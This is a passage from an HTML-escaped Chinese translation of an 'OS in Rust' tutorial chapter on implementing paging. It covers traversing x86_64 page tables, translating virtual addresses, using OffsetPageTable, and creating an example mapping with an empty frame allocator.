&lt;p&gt;首先，我们从&lt;code&gt;CR3&lt;&#x2F;code&gt;寄存器中读取活动的4级表的物理帧。然后我们取其物理起始地址，将其转换为&lt;code&gt;u64&lt;&#x2F;code&gt;，并将其添加到&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;中，得到页表框架映射的虚拟地址。最后，我们通过&lt;code&gt;as_mut_ptr&lt;&#x2F;code&gt;方法将虚拟地址转换为&lt;code&gt;*mut PageTable&lt;&#x2F;code&gt;原始指针，然后不安全地从它创建一个&lt;code&gt;&amp;amp;mut PageTable&lt;&#x2F;code&gt;引用。我们创建一个&lt;code&gt;&amp;amp;mut&lt;&#x2F;code&gt;引用，而不是&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;引用，因为我们将在本篇文章的后面对页表进行突变。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们可以用这个函数来打印第4级表格的条目。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

fn kernel_main(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    use blog_os::memory::active_level_4_table;
    use x86_64::VirtAddr;

    println!(&amp;quot;Hello World{}&amp;quot;, &amp;quot;!&amp;quot;);
    blog_os::init();

    let phys_mem_offset = VirtAddr::new(boot_info.physical_memory_offset);
    let l4_table = unsafe { active_level_4_table(phys_mem_offset) };

    for (i, entry) in l4_table.iter().enumerate() {
        if !entry.is_unused() {
            println!(&amp;quot;L4 Entry {}: {:?}&amp;quot;, i, entry);
        }
    }

    &amp;#x2F;&amp;#x2F; as before
    #[cfg(test)]
    test_main();

    println!(&amp;quot;It did not crash!&amp;quot;);
    blog_os::hlt_loop();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，我们将 “BootInfo” 结构的 “physical_memory_offset “转换为&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;VirtAddr&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;，并将其传递给 &lt;code&gt;active_level_4_table&lt;&#x2F;code&gt; 函数。然后我们使用&lt;code&gt;iter&lt;&#x2F;code&gt;函数来迭代页表条目，并使用&lt;code&gt;enumerate&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;组合器为每个元素增加一个索引&lt;code&gt;i&lt;&#x2F;code&gt;。我们只打印非空的条目，因为所有512个条目在屏幕上是放不下的。当我们运行它时，我们看到以下输出。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;qemu-print-level-4-table.png&quot; alt=&quot;QEMU打印条目0 (0x2000, PRESENT, WRITABLE, ACCESSED)，条目1 (0x894000, PRESENT, WRITABLE, ACCESSED, DIRTY)，条目31 (0x88e000, PRESENT, WRITABLE, ACCESSED, DIRTY)，条目175 (0x891000, PRESENT, WRITABLE, ACCESSED, DIRTY)，以及条目504 (0x897000, PRESENT, WRITABLE, ACCESSED, DIRTY)&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们看到有各种非空条目，它们都映射到不同的3级表。有这么多区域是因为内核代码、内核堆栈、物理内存映射和启动信息都使用独立的内存区域。&lt;&#x2F;p&gt;
&lt;p&gt;为了进一步遍历页表，看一下三级表，我们可以把一个条目的映射帧再转换为一个虚拟地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in the `for` loop in src&amp;#x2F;main.rs

use x86_64::structures::paging::PageTable;

if !entry.is_unused() {
    println!(&amp;quot;L4 Entry {}: {:?}&amp;quot;, i, entry);

    &amp;#x2F;&amp;#x2F; get the physical address from the entry and convert it
    let phys = entry.frame().unwrap().start_address();
    let virt = phys.as_u64() + boot_info.physical_memory_offset;
    let ptr = VirtAddr::new(virt).as_mut_ptr();
    let l3_table: &amp;amp;PageTable = unsafe { &amp;amp;*ptr };

    &amp;#x2F;&amp;#x2F; print non-empty entries of the level 3 table
    for (i, entry) in l3_table.iter().enumerate() {
        if !entry.is_unused() {
            println!(&amp;quot;  L3 Entry {}: {:?}&amp;quot;, i, entry);
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于查看2级和1级表，我们对3级和2级条目重复这一过程。你可以想象，这很快就会变得非常冗长，所以我们不在这里展示完整的代码。&lt;&#x2F;p&gt;
&lt;p&gt;手动遍历页表是很有趣的，因为它有助于了解CPU是如何进行转换的。然而，大多数时候，我们只对给定的虚拟地址的映射物理地址感兴趣，所以让我们为它创建一个函数。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-fan-yi-di-zhi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fan-yi-di-zhi&quot;&gt;🔗&lt;&#x2F;a&gt;翻译地址&lt;&#x2F;h3&gt;
&lt;p&gt;为了将虚拟地址转换为物理地址，我们必须遍历四级页表，直到到达映射的帧。让我们创建一个函数来执行这种转换。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

use x86_64::PhysAddr;

&amp;#x2F;&amp;#x2F;&amp;#x2F; 将给定的虚拟地址转换为映射的物理地址，如果地址没有被映射，则为`None&amp;#x27;。
&amp;#x2F;&amp;#x2F;&amp;#x2F;
&amp;#x2F;&amp;#x2F;&amp;#x2F; 这个函数是不安全的，因为调用者必须保证完整的物理内存在传递的`physical_memory_offset`处被映射到虚拟内存。
pub unsafe fn translate_addr(addr: VirtAddr, physical_memory_offset: VirtAddr)
    -&amp;gt; Option&amp;lt;PhysAddr&amp;gt;
{
    translate_addr_inner(addr, physical_memory_offset)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们将该函数转发到一个安全的&lt;code&gt;translate_addr_inner&lt;&#x2F;code&gt;函数，以限制&lt;code&gt;unsafe&lt;&#x2F;code&gt;的范围。正如我们在上面指出的，Rust把一个&lt;code&gt;unsafe fn&lt;&#x2F;code&gt;的完整主体当作一个大的不安全块。通过调用一个私有的安全函数，我们使每个&lt;code&gt;unsafe&lt;&#x2F;code&gt;操作再次明确。&lt;&#x2F;p&gt;
&lt;p&gt;私有内部函数包含真正的实现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

&amp;#x2F;&amp;#x2F;&amp;#x2F; 由 `translate_addr`调用的私有函数。
&amp;#x2F;&amp;#x2F;&amp;#x2F;
&amp;#x2F;&amp;#x2F;&amp;#x2F; 这个函数是安全的，可以限制`unsafe`的范围，
&amp;#x2F;&amp;#x2F;&amp;#x2F; 因为Rust将不安全函数的整个主体视为不安全块。
&amp;#x2F;&amp;#x2F;&amp;#x2F; 这个函数只能通过`unsafe fn`从这个模块的外部到达。
fn translate_addr_inner(addr: VirtAddr, physical_memory_offset: VirtAddr)
    -&amp;gt; Option&amp;lt;PhysAddr&amp;gt;
{
    use x86_64::structures::paging::page_table::FrameError;
    use x86_64::registers::control::Cr3;

    &amp;#x2F;&amp;#x2F; 从CR3寄存器中读取活动的4级 frame
    let (level_4_table_frame, _) = Cr3::read();

    let table_indexes = [
        addr.p4_index(), addr.p3_index(), addr.p2_index(), addr.p1_index()
    ];
    let mut frame = level_4_table_frame;

    &amp;#x2F;&amp;#x2F; 遍历多级页表
    for &amp;amp;index in &amp;amp;table_indexes {
        &amp;#x2F;&amp;#x2F; 将该框架转换为页表参考
        let virt = physical_memory_offset + frame.start_address().as_u64();
        let table_ptr: *const PageTable = virt.as_ptr();
        let table = unsafe {&amp;amp;*table_ptr};

        &amp;#x2F;&amp;#x2F; 读取页表条目并更新`frame`。
        let entry = &amp;amp;table[index];
        frame = match entry.frame() {
            Ok(frame) =&amp;gt; frame,
            Err(FrameError::FrameNotPresent) =&amp;gt; return None,
            Err(FrameError::HugeFrame) =&amp;gt; panic!(&amp;quot;huge pages not supported&amp;quot;),
        };
    }

    &amp;#x2F;&amp;#x2F; 通过添加页面偏移量来计算物理地址
    Some(frame.start_address() + u64::from(addr.page_offset()))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们没有重复使用&lt;code&gt;active_level_4_table&lt;&#x2F;code&gt;函数，而是再次从&lt;code&gt;CR3&lt;&#x2F;code&gt;寄存器读取4级帧。我们这样做是因为它简化了这个原型的实现。别担心，我们一会儿就会创建一个更好的解决方案。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;VirtAddr&lt;&#x2F;code&gt;结构已经提供了计算四级页面表索引的方法。我们将这些索引存储在一个小数组中，因为它允许我们使用&lt;code&gt;for&lt;&#x2F;code&gt;循环遍历页表。在循环之外，我们记住了最后访问的&lt;code&gt;frame&lt;&#x2F;code&gt;，以便以后计算物理地址。&lt;code&gt;frame&lt;&#x2F;code&gt;在迭代时指向页表框架，在最后一次迭代后指向映射的框架，也就是在跟随第1级条目之后。&lt;&#x2F;p&gt;
&lt;p&gt;在这个循环中，我们再次使用&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;将帧转换为页表引用。然后我们读取当前页表的条目，并使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;PageTableEntry::frame&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;函数来检索映射的框架。如果该条目没有映射到一个框架，我们返回&lt;code&gt;None&lt;&#x2F;code&gt;。如果该条目映射了一个巨大的2 MiB或1 GiB页面，我们就暂时慌了。让我们通过翻译一些地址来测试我们的翻译功能。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

fn kernel_main(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    &amp;#x2F;&amp;#x2F; new import
    use blog_os::memory::translate_addr;

    […] &amp;#x2F;&amp;#x2F; hello world and blog_os::init

    let phys_mem_offset = VirtAddr::new(boot_info.physical_memory_offset);

    let addresses = [
        &amp;#x2F;&amp;#x2F; the identity-mapped vga buffer page
        0xb8000,
        &amp;#x2F;&amp;#x2F; some code page
        0x201008,
        &amp;#x2F;&amp;#x2F; some stack page
        0x0100_0020_1a10,
        &amp;#x2F;&amp;#x2F; virtual address mapped to physical address 0
        boot_info.physical_memory_offset,
    ];

    for &amp;amp;address in &amp;amp;addresses {
        let virt = VirtAddr::new(address);
        let phys = unsafe { translate_addr(virt, phys_mem_offset) };
        println!(&amp;quot;{:?} -&amp;gt; {:?}&amp;quot;, virt, phys);
    }

    […] &amp;#x2F;&amp;#x2F; test_main(), &amp;quot;it did not crash&amp;quot; printing, and hlt_loop()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当我们运行它时，我们看到以下输出。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;translate-addr-output.png&quot; alt=&quot;0xb8000 -&amp;gt; 0xb8000, 0x201008 -&amp;gt; 0x401008, 0x10000201a10 -&amp;gt; 0x279a10, “panicked at ‘huge pages not supported’&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;正如预期的那样，身份映射的地址&lt;code&gt;0xb8000&lt;&#x2F;code&gt;翻译成了相同的物理地址。代码页和堆栈页翻译成了一些任意的物理地址，这取决于引导程序如何为我们的内核创建初始映射。值得注意的是，最后12位在翻译后总是保持不变，这是有道理的，因为这些位是*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;#paging-on-x86-64&quot;&gt;page offset&lt;&#x2F;a&gt;*，不是翻译的一部分。&lt;&#x2F;p&gt;
&lt;p&gt;由于每个物理地址都可以通过添加&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;来访问，&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;地址的翻译本身应该指向物理地址&lt;code&gt;0&lt;&#x2F;code&gt;。然而，翻译失败了，因为映射使用了巨大的页面来提高效率，而我们的实现还不支持。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-shi-yong-offsetpagetable&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#shi-yong-offsetpagetable&quot;&gt;🔗&lt;&#x2F;a&gt;使用 &lt;code&gt;OffsetPageTable&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;将虚拟地址转换为物理地址是操作系统内核中的一项常见任务，因此&lt;code&gt;x86_64&lt;&#x2F;code&gt;内核为它提供了一个抽象。这个实现已经支持巨大的页面和除了 “translate_addr “之外的其他几个页表函数，所以我们将在下面使用它，而不是在我们自己的实现中添加巨大的页面支持。&lt;&#x2F;p&gt;
&lt;p&gt;抽象的基础是两个特征，它们定义了各种页表映射功能。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Mapper&lt;&#x2F;code&gt;
特质在页面大小上是通用的，并提供对页面进行操作的函数。例如
&lt;code&gt;translate_page&lt;&#x2F;code&gt;
，它将一个给定的页面翻译成相同大小的框架，以及&lt;code&gt;map_to&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;，它在页面表中创建一个新的映射。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Translate&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特性提供了与多个页面大小有关的函数，如&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;translate_addr&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;或一般&lt;code&gt;translate&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;。
特质只定义接口，不提供任何实现。&lt;code&gt;x86_64&lt;&#x2F;code&gt;板块目前提供了三种类型来实现不同要求的特征。
&lt;code&gt;OffsetPageTable&lt;&#x2F;code&gt;
类型假设完整的物理内存被映射到虚拟地址空间的某个偏移处。&lt;code&gt;MappedPageTable&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;更灵活一些。它只要求每个页表帧在一个可计算的地址处被映射到虚拟地址空间。最后，&lt;code&gt;递归页表&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;类型可以用来通过&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#di-gui-ye-biao&quot;&gt;递归页表&lt;&#x2F;a&gt;访问页表框架。在我们的例子中，bootloader在&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;变量指定的虚拟地址上映射完整的物理内存，所以我们可以使用&lt;code&gt;OffsetPageTable&lt;&#x2F;code&gt;类型。为了初始化它，我们在&lt;code&gt;memory&lt;&#x2F;code&gt;模块中创建一个新的&lt;code&gt;init&lt;&#x2F;code&gt;函数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use x86_64::structures::paging::OffsetPageTable;

&amp;#x2F;&amp;#x2F;&amp;#x2F; 初始化一个新的OffsetPageTable。
&amp;#x2F;&amp;#x2F;&amp;#x2F;
&amp;#x2F;&amp;#x2F;&amp;#x2F; 这个函数是不安全的，因为调用者必须保证完整的物理内存在
&amp;#x2F;&amp;#x2F;&amp;#x2F; 传递的`physical_memory_offset`处被映射到虚拟内存。另
&amp;#x2F;&amp;#x2F;&amp;#x2F; 外，这个函数必须只被调用一次，以避免别名&amp;quot;&amp;amp;mut &amp;quot;引用（这是未定义的行为）。
pub unsafe fn init(physical_memory_offset: VirtAddr) -&amp;gt; OffsetPageTable&amp;lt;&amp;#x27;static&amp;gt; {
    unsafe {
        let level_4_table = active_level_4_table(physical_memory_offset);
        OffsetPageTable::new(level_4_table, physical_memory_offset)
    }
}

&amp;#x2F;&amp;#x2F; 私下进行
unsafe fn active_level_4_table(physical_memory_offset: VirtAddr)
    -&amp;gt; &amp;amp;&amp;#x27;static mut PageTable
{…}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该函数接受 “physical_memory_offset “作为参数，并返回一个新的 “OffsetPageTable “实例，该实例具有 “静态 “寿命。这意味着该实例在我们内核的整个运行时间内保持有效。在函数体中，我们首先调用 “active_level_4_table “函数来获取4级页表的可变引用。然后我们用这个引用调用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;OffsetPageTable::new&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;函数。作为第二个参数，&lt;code&gt;new&lt;&#x2F;code&gt;函数希望得到物理内存映射开始的虚拟地址，该地址在&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;变量中给出。从现在开始，&lt;code&gt;active_level_4_table&lt;&#x2F;code&gt;函数只能从&lt;code&gt;init&lt;&#x2F;code&gt;函数中调用，因为它在多次调用时很容易导致别名的可变引用，这可能导致未定义的行为。出于这个原因，我们通过删除&lt;code&gt;pub&lt;&#x2F;code&gt;指定符使该函数成为私有的。&lt;&#x2F;p&gt;
&lt;p&gt;我们现在可以使用&lt;code&gt;Translate::translate_addr&lt;&#x2F;code&gt;方法而不是我们自己的&lt;code&gt;memory::translate_addr&lt;&#x2F;code&gt;函数。我们只需要在&lt;code&gt;kernel_main&lt;&#x2F;code&gt;中修改几行。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

fn kernel_main(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    &amp;#x2F;&amp;#x2F; new: different imports
    use blog_os::memory;
    use x86_64::{structures::paging::Translate, VirtAddr};

    […] &amp;#x2F;&amp;#x2F; hello world and blog_os::init

    let phys_mem_offset = VirtAddr::new(boot_info.physical_memory_offset);
    &amp;#x2F;&amp;#x2F; new: initialize a mapper
    let mapper = unsafe { memory::init(phys_mem_offset) };

    let addresses = […]; &amp;#x2F;&amp;#x2F; same as before

    for &amp;amp;address in &amp;amp;addresses {
        let virt = VirtAddr::new(address);
        &amp;#x2F;&amp;#x2F; new: use the `mapper.translate_addr` method
        let phys = mapper.translate_addr(virt);
        println!(&amp;quot;{:?} -&amp;gt; {:?}&amp;quot;, virt, phys);
    }

    […] &amp;#x2F;&amp;#x2F; test_main(), &amp;quot;it did not crash&amp;quot; printing, and hlt_loop()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们需要导入&lt;code&gt;Translate&lt;&#x2F;code&gt;特性，以便使用它提供的&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;translate_addr&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法。当我们现在运行它时，我们看到和以前一样的翻译结果，不同的是，巨大的页面翻译现在也在工作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;qemu-mapper-translate-addr.png&quot; alt=&quot;0xb8000 -&amp;gt; 0xb8000, 0x201008 -&amp;gt; 0x401008, 0x10000201a10 -&amp;gt; 0x279a10, 0x18000000000 -&amp;gt; 0x0&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;正如预期的那样，&lt;code&gt;0xb8000&lt;&#x2F;code&gt;的翻译以及代码和堆栈地址与我们自己的翻译函数保持一致。此外，我们现在看到，虚拟地址&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;被映射到物理地址&lt;code&gt;0x0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;通过使用&lt;code&gt;MappedPageTable&lt;&#x2F;code&gt;类型的翻译函数，我们可以免除实现巨大页面支持的工作。我们还可以访问其他的页面函数，如&lt;code&gt;map_to&lt;&#x2F;code&gt;，我们将在下一节使用。&lt;&#x2F;p&gt;
&lt;p&gt;在这一点上，我们不再需要&lt;code&gt;memory::translate_addr&lt;&#x2F;code&gt;和&lt;code&gt;memory::translate_addr_inner&lt;&#x2F;code&gt;函数，所以我们可以删除它们。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-chuang-jian-yi-ge-xin-de-ying-she&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#chuang-jian-yi-ge-xin-de-ying-she&quot;&gt;🔗&lt;&#x2F;a&gt;创建一个新的映射&lt;&#x2F;h3&gt;
&lt;p&gt;到目前为止，我们只看了页面表而没有修改任何东西。让我们改变这种情况，为一个以前没有映射的页面创建一个新的映射。&lt;&#x2F;p&gt;
&lt;p&gt;我们将使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Mapper&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特性的&lt;code&gt;map_to&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;函数来实现，所以让我们先看一下这个函数。文档告诉我们，它需要四个参数：我们想要映射的页面，该页面应该被映射到的框架，一组页面表项的标志，以及一个&lt;code&gt;frame_allocator&lt;&#x2F;code&gt;。之所以需要框架分配器，是因为映射给定的页面可能需要创建额外的页表，而页表需要未使用的框架作为后备存储。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;link-create-example-mapping-han-shu&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#create-example-mapping-han-shu&quot;&gt;🔗&lt;&#x2F;a&gt;create_example_mapping 函数&lt;&#x2F;h4&gt;
&lt;p&gt;我们实现的第一步是创建一个新的&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;函数，将一个给定的虚拟页映射到&lt;code&gt;0xb8000&lt;&#x2F;code&gt;，VGA文本缓冲区的物理帧。我们选择这个帧是因为它允许我们很容易地测试映射是否被正确创建。我们只需要写到新映射的页面，看看是否看到写的内容出现在屏幕上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt; 函数看起来像这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

use x86_64::{
    PhysAddr,
    structures::paging::{Page, PhysFrame, Mapper, Size4KiB, FrameAllocator}
};

&amp;#x2F;&amp;#x2F;&amp;#x2F; 为给定的页面创建一个实例映射到框架`0xb8000`。
pub fn create_example_mapping(
    page: Page,
    mapper: &amp;amp;mut OffsetPageTable,
    frame_allocator: &amp;amp;mut impl FrameAllocator&amp;lt;Size4KiB&amp;gt;,
) {
    use x86_64::structures::paging::PageTableFlags as Flags;

    let frame = PhysFrame::containing_address(PhysAddr::new(0xb8000));
    let flags = Flags::PRESENT | Flags::WRITABLE;

    let map_to_result = unsafe {
        &amp;#x2F;&amp;#x2F; FIXME: 这并不安全，我们这样做只是为了测试。
        mapper.map_to(page, frame, flags, frame_allocator)
    };
    map_to_result.expect(&amp;quot;map_to failed&amp;quot;).flush();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除了应该被映射的 “page “之外，该函数还希望得到一个对 “OffsetPageTable “实例和 “frame_allocator “的可变引用。参数 “frame_allocator “使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;impl Trait&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;语法，在所有实现&lt;code&gt;FrameAllocator&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特征的类型中是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;book&#x2F;ch10-00-generics.html&quot;&gt;通用&lt;&#x2F;a&gt;的。该特性在&lt;code&gt;PageSize&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特性上是通用的，可以处理标准的4 KiB页面和巨大的2 MiB&#x2F;1 GiB页面。我们只想创建一个4 KiB的映射，所以我们设置通用参数为&lt;code&gt;Size4KiB&lt;&#x2F;code&gt;。&lt;code&gt;map_to&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法是不安全的，因为调用者必须确保该帧没有被使用。原因是两次映射同一帧可能导致未定义的行为，例如当两个不同的&lt;code&gt;&amp;amp;mut&lt;&#x2F;code&gt;引用指向同一物理内存位置时。在我们的例子中，我们重新使用了已经被映射的VGA文本缓冲区帧，所以我们打破了所需的条件。然而，&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;函数只是一个临时的测试函数，在这篇文章之后会被删除，所以它是可以的。为了提醒我们不安全，我们在这行上加了一个&lt;code&gt;FIXME&lt;&#x2F;code&gt;注释。除了 “page “和 “unused_frame “之外，“map_to “方法还需要一组用于映射的标志和对 “frame_allocator “的引用，这将在稍后解释。对于标志，我们设置了&lt;code&gt;PRESENT&lt;&#x2F;code&gt;标志，因为所有有效的条目都需要它，而&lt;code&gt;WRITABLE&lt;&#x2F;code&gt;标志是为了使映射的页面可写。关于所有可能的标志的列表，请参见上一篇文章的*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;#page-table-format&quot;&gt;页表格式&lt;&#x2F;a&gt;*部分。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;map_to&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;函数可能失败，所以它返回一个&lt;code&gt;Result&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;。由于这只是一些不需要健壮的示例代码，我们只是使用&lt;code&gt;expect&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;来在发生错误时进行恐慌。成功后，该函数返回一个&lt;code&gt;MapperFlush&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;类型，该类型提供了一个简单的方法，用其&lt;code&gt;flush&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法从翻译查找缓冲区（TLB）冲刷新映射的页面。像&lt;code&gt;Result&lt;&#x2F;code&gt;一样，该类型使用&lt;code&gt;#[must_use]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;属性，在我们不小心忘记使用它时发出警告。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;link-yi-ge-jia-de-frameallocator&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#yi-ge-jia-de-frameallocator&quot;&gt;🔗&lt;&#x2F;a&gt;一个假的  &lt;code&gt;FrameAllocator&lt;&#x2F;code&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;为了能够调用&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;，我们需要首先创建一个实现&lt;code&gt;FrameAllocator&lt;&#x2F;code&gt;特质的类型。如上所述，如果&lt;code&gt;map_to&lt;&#x2F;code&gt;需要新的页表，该特质负责为其分配框架。&lt;&#x2F;p&gt;
&lt;p&gt;让我们从简单的情况开始，假设我们不需要创建新的页面表。对于这种情况，一个总是返回 “无 “的框架分配器就足够了。我们创建这样一个&lt;code&gt;空框架分配器&lt;&#x2F;code&gt;来测试我们的映射函数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

&amp;#x2F;&amp;#x2F;&amp;#x2F; 一个总是返回`None&amp;#x27;的FrameAllocator。
pub struct EmptyFrameAllocator;

unsafe impl FrameAllocator&amp;lt;Size4KiB&amp;gt; for EmptyFrameAllocator {
    fn allocate_frame(&amp;amp;mut self) -&amp;gt; Option&amp;lt;PhysFrame&amp;gt; {
        None
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
